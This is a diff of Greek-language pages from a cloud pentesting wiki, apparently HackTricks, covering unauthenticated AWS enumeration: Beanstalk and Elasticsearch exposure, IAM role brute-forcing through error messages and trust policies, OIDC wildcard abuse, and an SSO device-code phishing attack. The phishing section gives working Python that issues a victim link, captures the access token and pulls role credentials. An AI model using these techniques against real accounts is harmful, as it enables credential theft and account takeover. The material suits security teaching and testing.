elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]' +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md deleted file mode 100644 index 915d32002..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ /dev/null @@ -1,35 +0,0 @@ -# AWS - Elastic Beanstalk Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Elastic Beanstalk - -Για περισσότερες πληροφορίες, ελέγξτε: - -{{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md -{{#endref}} - -### Web vulnerability - -Σημειώστε ότι από προεπιλογή, τα περιβάλλοντα Beanstalk έχουν το **Metadatav1 απενεργοποιημένο**. - -Η μορφή των ιστοσελίδων Beanstalk είναι **`https://-env..elasticbeanstalk.com/`** - -### Insecure Security Group Rules - -Λάθος ρυθμισμένοι κανόνες ομάδας ασφαλείας μπορούν να εκθέσουν τις περιπτώσεις Elastic Beanstalk στο κοινό. **Πολύ επιτρεπτικοί κανόνες εισόδου, όπως η επιτρεπόμενη κυκλοφορία από οποιαδήποτε διεύθυνση IP (0.0.0.0/0) σε ευαίσθητες θύρες, μπορούν να επιτρέψουν στους επιτιθέμενους να αποκτήσουν πρόσβαση στην περίπτωση**. - -### Publicly Accessible Load Balancer - -Εάν ένα περιβάλλον Elastic Beanstalk χρησιμοποιεί έναν φορτωτή και ο φορτωτής είναι ρυθμισμένος να είναι δημόσια προσβάσιμος, οι επιτιθέμενοι μπορούν να **στείλουν αιτήματα απευθείας στον φορτωτή**. Ενώ αυτό μπορεί να μην είναι πρόβλημα για διαδικτυακές εφαρμογές που προορίζονται να είναι δημόσια προσβάσιμες, μπορεί να είναι πρόβλημα για ιδιωτικές εφαρμογές ή περιβάλλοντα. - -### Publicly Accessible S3 Buckets - -Οι εφαρμογές Elastic Beanstalk αποθηκεύονται συχνά σε S3 buckets πριν από την ανάπτυξη. Εάν το S3 bucket που περιέχει την εφαρμογή είναι δημόσια προσβάσιμο, ένας επιτιθέμενος θα μπορούσε να **κατεβάσει τον κώδικα της εφαρμογής και να αναζητήσει ευπάθειες ή ευαίσθητες πληροφορίες**. - -### Enumerate Public Environments -```bash -aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md new file mode 100644 index 000000000..1caf9fb1a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md @@ -0,0 +1,35 @@ +# AWS - Elastic Beanstalk Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Elastic Beanstalk + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-elastic-beanstalk-enum.md +{{#endref}} + +### Web vulnerability + +Σημειώστε ότι εξ ορισμού τα περιβάλλοντα Beanstalk έχουν την **Metadatav1 απενεργοποιημένη**. + +Η μορφή των σελίδων web του Beanstalk είναι **`https://-env..elasticbeanstalk.com/`** + +### Μη ασφαλείς κανόνες Security Group + +Λανθασμένα ρυθμισμένοι κανόνες security group μπορούν να εκθέσουν Elastic Beanstalk instances στο κοινό. **Υπερβολικά επιτρεπτικοί κανόνες ingress, όπως το να επιτρέπεται κίνηση από οποιαδήποτε διεύθυνση IP (0.0.0.0/0) σε ευαίσθητες θύρες, μπορούν να επιτρέψουν σε επιτιθέμενους να αποκτήσουν πρόσβαση στο instance**. + +### Δημόσια προσβάσιμος Load Balancer + +Εάν ένα περιβάλλον Elastic Beanstalk χρησιμοποιεί load balancer και ο load balancer είναι ρυθμισμένος να είναι δημόσια προσβάσιμος, οι επιτιθέμενοι μπορούν να **στείλουν αιτήσεις απευθείας στον load balancer**. Αν και αυτό μπορεί να μην αποτελεί πρόβλημα για web εφαρμογές που προορίζονται να είναι δημόσια προσβάσιμες, μπορεί να είναι πρόβλημα για ιδιωτικές εφαρμογές ή περιβάλλοντα. + +### Δημόσια προσβάσιμοι S3 Buckets + +Εφαρμογές Elastic Beanstalk συχνά αποθηκεύονται σε S3 buckets πριν την ανάπτυξη. Αν το S3 bucket που περιέχει την εφαρμογή είναι δημόσια προσβάσιμο, ένας επιτιθέμενος θα μπορούσε να **κατεβάσει τον κώδικα της εφαρμογής και να αναζητήσει ευπάθειες ή ευαίσθητες πληροφορίες**. + +### Enumerate Public Environments +```bash +aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md similarity index 54% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md index 769a9f42c..6eb32af6c 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md @@ -1,10 +1,10 @@ # AWS - Elasticsearch Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} -### Δημόσιο πρότυπο URL +### Πρότυπο δημόσιου URL ``` https://vpc-{user_provided}-[random].[region].es.amazonaws.com https://search-{user_provided}-[random].[region].es.amazonaws.com ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md deleted file mode 100644 index f857875ba..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ /dev/null @@ -1,162 +0,0 @@ -# AWS - IAM & STS Μη Αυθεντική Καταμέτρηση - -{{#include ../../../banners/hacktricks-training.md}} - -## Καταμέτρηση Ρόλων & Ονομάτων Χρηστών σε έναν λογαριασμό - -### ~~Ανάληψη Ρόλου με Βία~~ - -> [!CAUTION] -> **Αυτή η τεχνική δεν λειτουργεί** πια καθώς αν ο ρόλος υπάρχει ή όχι, πάντα λαμβάνετε αυτό το σφάλμα: -> -> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` -> -> Μπορείτε να **δοκιμάσετε αυτό τρέχοντας**: -> -> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` - -Η προσπάθεια να **αναλάβετε έναν ρόλο χωρίς τις απαραίτητες άδειες** προκαλεί ένα μήνυμα σφάλματος από την AWS. Για παράδειγμα, αν δεν έχετε άδεια, η AWS μπορεί να επιστρέψει: -```ruby -An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS -``` -Αυτό το μήνυμα επιβεβαιώνει την ύπαρξη του ρόλου αλλά υποδεικνύει ότι η πολιτική ανάληψης ρόλου δεν επιτρέπει την ανάληψή σας. Αντίθετα, η προσπάθεια να **αναλάβετε έναν ανύπαρκτο ρόλο οδηγεί σε διαφορετικό σφάλμα**: -```less -An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole -``` -Ενδιαφέρον, αυτή η μέθοδος του **να διακρίνουμε μεταξύ υπαρχόντων και μη υπαρχόντων ρόλων** είναι εφαρμόσιμη ακόμη και σε διαφορετικούς λογαριασμούς AWS. Με ένα έγκυρο AWS account ID και μια στοχευμένη λίστα λέξεων, μπορεί κανείς να καταγράψει τους ρόλους που υπάρχουν στον λογαριασμό χωρίς να αντιμετωπίσει εγγενείς περιορισμούς. - -Μπορείτε να χρησιμοποιήσετε αυτό το [script για να καταγράψετε πιθανούς principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) εκμεταλλευόμενοι αυτό το ζήτημα. - -### Πολιτικές Εμπιστοσύνης: Brute-Force Ρόλοι και χρήστες Διαφορετικών Λογαριασμών - -Η ρύθμιση ή η ενημέρωση της **πολιτικής εμπιστοσύνης ενός IAM ρόλου περιλαμβάνει τον καθορισμό των AWS πόρων ή υπηρεσιών που επιτρέπεται να αναλάβουν αυτόν τον ρόλο** και να αποκτήσουν προσωρινές διαπιστεύσεις. Εάν ο καθορισμένος πόρος στην πολιτική **υπάρχει**, η πολιτική εμπιστοσύνης αποθηκεύεται **επιτυχώς**. Ωστόσο, εάν ο πόρος **δεν υπάρχει**, δημιουργείται ένα **σφάλμα**, υποδεικνύοντας ότι παρέχεται ένας μη έγκυρος principal. - -> [!WARNING] -> Σημειώστε ότι σε αυτόν τον πόρο μπορείτε να καθορίσετε έναν ρόλο ή χρήστη διαφοράς λογαριασμού: -> -> - `arn:aws:iam::acc_id:role/role_name` -> - `arn:aws:iam::acc_id:user/user_name` - -Αυτή είναι ένα παράδειγμα πολιτικής: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam::216825089941:role/Test" -}, -"Action": "sts:AssumeRole" -} -] -} -``` -#### GUI - -Αυτό είναι το **σφάλμα** που θα βρείτε αν χρησιμοποιήσετε μια **ρόλο που δεν υπάρχει**. Αν η ρόλος **υπάρχει**, η πολιτική θα **αποθηκευτεί** χωρίς κανένα σφάλμα. (Το σφάλμα είναι για ενημέρωση, αλλά λειτουργεί επίσης κατά τη δημιουργία) - -![](<../../../images/image (153).png>) - -#### CLI -```bash -### You could also use: aws iam update-assume-role-policy -# When it works -aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json -{ -"Role": { -"Path": "/", -"RoleName": "Test-Role", -"RoleId": "AROA5ZDCUJS3DVEIYOB73", -"Arn": "arn:aws:iam::947247140022:role/Test-Role", -"CreateDate": "2022-05-03T20:50:04Z", -"AssumeRolePolicyDocument": { -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam::316584767888:role/account-balance" -}, -"Action": [ -"sts:AssumeRole" -] -} -] -} -} -} - -# When it doesn't work -aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json -An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" -``` -Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία με [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) - -- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` - -Χρησιμοποιώντας [Pacu](https://github.com/RhinoSecurityLabs/pacu): - -- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- Ο ρόλος `admin` που χρησιμοποιείται στο παράδειγμα είναι ένας **ρόλος στον λογαριασμό σας που μπορεί να μιμηθεί** από το pacu για να δημιουργήσει τις πολιτικές που χρειάζεται για την καταμέτρηση - -### Privesc - -Σε περίπτωση που ο ρόλος έχει κακή διαμόρφωση και επιτρέπει σε οποιονδήποτε να τον αναλάβει: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": "sts:AssumeRole" -} -] -} -``` -Ο επιτιθέμενος θα μπορούσε απλώς να το υποθέσει. - -## Ομοσπονδία OIDC Τρίτων - -Φανταστείτε ότι καταφέρατε να διαβάσετε μια **ροή εργασίας Github Actions** που έχει πρόσβαση σε έναν **ρόλο** μέσα στο **AWS**.\ -Αυτή η εμπιστοσύνη μπορεί να δώσει πρόσβαση σε έναν ρόλο με την ακόλουθη **πολιτική εμπιστοσύνης**: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" -}, -"Action": "sts:AssumeRoleWithWebIdentity", -"Condition": { -"StringEquals": { -"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" -} -} -} -] -} -``` -Αυτή η πολιτική εμπιστοσύνης μπορεί να είναι σωστή, αλλά η **έλλειψη περισσότερων συνθηκών** θα πρέπει να σας κάνει να την αμφισβητήσετε.\ -Αυτό συμβαίνει επειδή ο προηγούμενος ρόλος μπορεί να αναληφθεί από **ΟΠΟΙΟΝΔΗΠΟΤΕ από το Github Actions**! Θα πρέπει να καθορίσετε στις συνθήκες και άλλα πράγματα όπως το όνομα του οργανισμού, το όνομα του αποθετηρίου, το περιβάλλον, το κλάδο... - -Μια άλλη πιθανή κακή ρύθμιση είναι να **προσθέσετε μια συνθήκη** όπως η εξής: -```json -"StringLike": { -"token.actions.githubusercontent.com:sub": "repo:org_name*:*" -} -``` -Σημειώστε ότι **wildcard** (\*) πριν από τον **κόλον** (:). Μπορείτε να δημιουργήσετε έναν οργανισμό όπως **org_name1** και να **assume the role** από μια Github Action. - -## Αναφορές - -- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) -- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md new file mode 100644 index 000000000..5b6c7a6b5 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md @@ -0,0 +1,162 @@ +# AWS - IAM & STS Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Καταγραφή ρόλων και ονομάτων χρηστών σε έναν λογαριασμό + +### ~~Assume Role Brute-Force~~ + +> [!CAUTION] +> **Αυτή η τεχνική δεν λειτουργεί** πια, καθώς είτε ο ρόλος υπάρχει είτε όχι πάντα λαμβάνετε αυτό το σφάλμα: +> +> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` +> +> Μπορείτε **να το δοκιμάσετε εκτελώντας**: +> +> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` + +Η προσπάθεια να **assume a role χωρίς τα απαραίτητα δικαιώματα** προκαλεί μήνυμα σφάλματος από το AWS. Για παράδειγμα, αν δεν είστε εξουσιοδοτημένοι, το AWS μπορεί να επιστρέψει: +```ruby +An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS +``` +Αυτό το μήνυμα επιβεβαιώνει την ύπαρξη του role αλλά υποδεικνύει ότι η assume role policy του δεν επιτρέπει την ανάληψή του από εσάς. Αντίθετα, η προσπάθεια να **αναλάβετε ένα μη-υπαρκτό role οδηγεί σε διαφορετικό σφάλμα**: +```less +An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole +``` +Ενδιαφέρον: αυτή η μέθοδος για **τη διάκριση μεταξύ υπαρχόντων και μη-υπαρχόντων roles** εφαρμόζεται ακόμη και σε διαφορετικούς AWS λογαριασμούς. Με ένα έγκυρο AWS account ID και μια στοχευμένη wordlist, μπορεί κανείς να απαριθμήσει τους roles που υπάρχουν στον λογαριασμό χωρίς να αντιμετωπίσει εγγενείς περιορισμούς. + +You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue. + +### Πολιτικές Εμπιστοσύνης: Brute-Force Cross Account roles and users + +Η διαμόρφωση ή ενημέρωση της **trust policy ενός IAM role περιλαμβάνει τον ορισμό ποια AWS resources ή services επιτρέπεται να assume αυτόν τον role** και να αποκτήσουν temporary credentials. Εάν ο συγκεκριμένος resource στην policy **exists**, η trust policy αποθηκεύεται **successfully**. Ωστόσο, αν ο resource **does not exist**, παράγεται ένα **error** που υποδεικνύει ότι δόθηκε invalid principal. + +> [!WARNING] +> Σημειώστε ότι σε αυτόν τον resource μπορείτε να καθορίσετε έναν cross account role ή user: +> +> - `arn:aws:iam::acc_id:role/role_name` +> - `arn:aws:iam::acc_id:user/user_name` + +Αυτό είναι ένα παράδειγμα policy: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::216825089941:role/Test" +}, +"Action": "sts:AssumeRole" +} +] +} +``` +#### GUI + +Αυτό είναι το **σφάλμα** που θα βρείτε αν χρησιμοποιήσετε έναν **role που δεν υπάρχει**. Αν ο role **υπάρχει**, η policy θα **αποθηκευτεί** χωρίς κανένα σφάλμα. (Το σφάλμα αφορά την ενημέρωση, αλλά λειτουργεί και κατά τη δημιουργία) + +![](<../../../images/image (153).png>) + +#### CLI +```bash +### You could also use: aws iam update-assume-role-policy +# When it works +aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json +{ +"Role": { +"Path": "/", +"RoleName": "Test-Role", +"RoleId": "AROA5ZDCUJS3DVEIYOB73", +"Arn": "arn:aws:iam::947247140022:role/Test-Role", +"CreateDate": "2022-05-03T20:50:04Z", +"AssumeRolePolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::316584767888:role/account-balance" +}, +"Action": [ +"sts:AssumeRole" +] +} +] +} +} +} + +# When it doesn't work +aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json +An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" +``` +Μπορείς να αυτοματοποιήσεις αυτή τη διαδικασία με [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) + +- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` + +Ή χρησιμοποιώντας το [Pacu](https://github.com/RhinoSecurityLabs/pacu): + +- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` +- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` +- Ο ρόλος `admin` που χρησιμοποιείται στο παράδειγμα είναι ένας role στον λογαριασμό σου που το pacu θα υποδυθεί για να δημιουργήσει τις πολιτικές που χρειάζεται για την enumeration + +### Privesc + +Σε περίπτωση που ο ρόλος ήταν λανθασμένα διαμορφωμένος και επιτρέπει σε οποιονδήποτε να τον αναλάβει: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] +} +``` +Ο επιτιθέμενος θα μπορούσε απλώς να το αναλάβει. + +## Ομοσπονδία OIDC τρίτου μέρους + +Φανταστείτε ότι καταφέρνετε να διαβάσετε ένα **Github Actions workflow** που έχει πρόσβαση σε έναν **role** μέσα στο **AWS**. +Αυτή η εμπιστοσύνη μπορεί να δώσει πρόσβαση σε έναν role με την ακόλουθη **trust policy**: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] +} +``` +Αυτή η πολιτική εμπιστοσύνης μπορεί να είναι σωστή, αλλά η **έλλειψη περισσότερων συνθηκών** θα πρέπει να σας κάνει να την αμφισβητήσετε.\ +Αυτό συμβαίνει επειδή ο προηγούμενος ρόλος μπορεί να αναληφθεί από **οποιοσδήποτε από το Github Actions**! Πρέπει επίσης να προσδιορίσετε στις συνθήκες και άλλα πράγματα όπως org name, repo name, env, brach... + +Μια άλλη πιθανή λανθασμένη διαμόρφωση είναι να **προσθέσετε μια συνθήκη** όπως η ακόλουθη: +```json +"StringLike": { +"token.actions.githubusercontent.com:sub": "repo:org_name*:*" +} +``` +Σημειώστε ότι το **wildcard** (\*) βρίσκεται πριν από την **colon** (:). Μπορείτε να δημιουργήσετε ένα org όπως **org_name1** και να **assume the role** από ένα Github Action. + +## Αναφορές + +- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) +- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md deleted file mode 100644 index 44905ac30..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ /dev/null @@ -1,123 +0,0 @@ -# AWS - Identity Center & SSO Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## AWS Device Code Phishing - -Αρχικά προτάθηκε σε [**αυτή την ανάρτηση**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), είναι δυνατόν να σταλεί ένα **link** σε έναν χρήστη χρησιμοποιώντας το AWS SSO που αν ο **χρήστης αποδεχτεί** ο επιτιθέμενος θα μπορέσει να αποκτήσει ένα **token για να προσποιηθεί τον χρήστη** και να έχει πρόσβαση σε όλους τους ρόλους που μπορεί να έχει πρόσβαση ο χρήστης στο **Identity Center**. - -Για να εκτελεστεί αυτή η επίθεση, οι προϋποθέσεις είναι: - -- Το θύμα πρέπει να χρησιμοποιεί το **Identity Center** -- Ο επιτιθέμενος πρέπει να γνωρίζει το **subdomain** που χρησιμοποιεί το θύμα `.awsapps.com/start` - -Μόνο με τις προηγούμενες πληροφορίες, ο **επιτιθέμενος θα είναι σε θέση να στείλει ένα link στον χρήστη** που αν **αποδεχτεί** θα παραχωρήσει στον **επιτιθέμενο πρόσβαση στον λογαριασμό χρήστη AWS**. - -### Attack - -1. **Finding the subdomain** - -Το πρώτο βήμα του επιτιθέμενου είναι να ανακαλύψει το subdomain που χρησιμοποιεί η εταιρεία του θύματος στο Identity Center τους. Αυτό μπορεί να γίνει μέσω **OSINT** ή **μαντεψιάς + BF** καθώς οι περισσότερες εταιρείες θα χρησιμοποιούν το όνομά τους ή μια παραλλαγή του ονόματός τους εδώ. - -Με αυτές τις πληροφορίες, είναι δυνατόν να αποκτηθεί η περιοχή όπου έχει ρυθμιστεί το Identity Center: -```bash -curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' -"region":"us-east-1 -``` -2. **Δημιουργήστε τον σύνδεσμο για το θύμα & Στείλτε τον** - -Εκτελέστε τον παρακάτω κώδικα για να δημιουργήσετε έναν σύνδεσμο σύνδεσης AWS SSO ώστε το θύμα να μπορεί να αυθεντικοποιηθεί.\ -Για την επίδειξη, εκτελέστε αυτόν τον κώδικα σε μια κονσόλα python και μην βγείτε από αυτήν καθώς αργότερα θα χρειαστείτε κάποια αντικείμενα για να αποκτήσετε το token: -```python -import boto3 - -REGION = 'us-east-1' # CHANGE THIS -AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS - -sso_oidc = boto3.client('sso-oidc', region_name=REGION) -client = sso_oidc.register_client( -clientName = 'attacker', -clientType = 'public' -) - -client_id = client.get('clientId') -client_secret = client.get('clientSecret') -authz = sso_oidc.start_device_authorization( -clientId=client_id, -clientSecret=client_secret, -startUrl=AWS_SSO_START_URL -) - -url = authz.get('verificationUriComplete') -deviceCode = authz.get('deviceCode') -print("Give this URL to the victim: " + url) -``` -Στείλτε τον παραγόμενο σύνδεσμο στο θύμα χρησιμοποιώντας τις καταπληκτικές σας ικανότητες κοινωνικής μηχανικής! - -3. **Περιμένετε μέχρι το θύμα να το αποδεχτεί** - -Αν το θύμα ήταν **ήδη συνδεδεμένο στο AWS**, θα χρειαστεί απλώς να αποδεχτεί την παροχή δικαιωμάτων, αν δεν ήταν, θα χρειαστεί να **συνδεθεί και στη συνέχεια να αποδεχτεί την παροχή δικαιωμάτων**.\ -Έτσι φαίνεται η προτροπή σήμερα: - -
- -4. **Αποκτήστε το SSO access token** - -Αν το θύμα αποδέχτηκε την προτροπή, εκτελέστε αυτόν τον κώδικα για να **δημιουργήσετε ένα SSO token προσποιούμενοι τον χρήστη**: -```python -token_response = sso_oidc.create_token( -clientId=client_id, -clientSecret=client_secret, -grantType="urn:ietf:params:oauth:grant-type:device_code", -deviceCode=deviceCode -) -sso_token = token_response.get('accessToken') -``` -Το διακριτικό πρόσβασης SSO είναι **έγκυρο για 8 ώρες**. - -5. **Μιμηθείτε τον χρήστη** -```python -sso_client = boto3.client('sso', region_name=REGION) - -# List accounts where the user has access -aws_accounts_response = sso_client.list_accounts( -accessToken=sso_token, -maxResults=100 -) -aws_accounts_response.get('accountList', []) - -# Get roles inside an account -roles_response = sso_client.list_account_roles( -accessToken=sso_token, -accountId= -) -roles_response.get('roleList', []) - -# Get credentials over a role - -sts_creds = sso_client.get_role_credentials( -accessToken=sso_token, -roleName=, -accountId= -) -sts_creds.get('roleCredentials') -``` -### Phishing του μη phishing MFA - -Είναι διασκεδαστικό να γνωρίζουμε ότι η προηγούμενη επίθεση **λειτουργεί ακόμη και αν χρησιμοποιείται ένα "unphisable MFA" (webAuth)**. Αυτό συμβαίνει επειδή η προηγούμενη **ροή εργασίας δεν αφήνει το χρησιμοποιούμενο OAuth domain**. Όχι όπως σε άλλες επιθέσεις phishing όπου ο χρήστης πρέπει να υποκαταστήσει το domain σύνδεσης, στην περίπτωση αυτή η ροή εργασίας του κωδικού συσκευής είναι προετοιμασμένη έτσι ώστε ένας **κωδικός να είναι γνωστός από μια συσκευή** και ο χρήστης μπορεί να συνδεθεί ακόμη και σε διαφορετική μηχανή. Εάν γίνει αποδεκτή η προτροπή, η συσκευή, απλά γνωρίζοντας τον αρχικό κωδικό, θα είναι σε θέση να **ανακτήσει διαπιστευτήρια** για τον χρήστη. - -Για περισσότερες πληροφορίες σχετικά με αυτό [**ελέγξτε αυτή την ανάρτηση**](https://mjg59.dreamwidth.org/62175.html). - -### Αυτόματα Εργαλεία - -- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication) -- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish) - -## Αναφορές - -- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) -- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing) -- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html) -- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md new file mode 100644 index 000000000..c86957ced --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md @@ -0,0 +1,123 @@ +# AWS - Identity Center & SSO Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## AWS Device Code Phishing + +Αρχικά προταθεί σε [**αυτό το άρθρο**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), είναι δυνατό να σταλεί ένας **σύνδεσμος** σε έναν χρήστη που χρησιμοποιεί AWS SSO ο οποίος, εάν ο **χρήστης τον αποδεχτεί**, θα επιτρέψει στον επιτιθέμενο να αποκτήσει ένα **token για να προσποιηθεί τον χρήστη** και 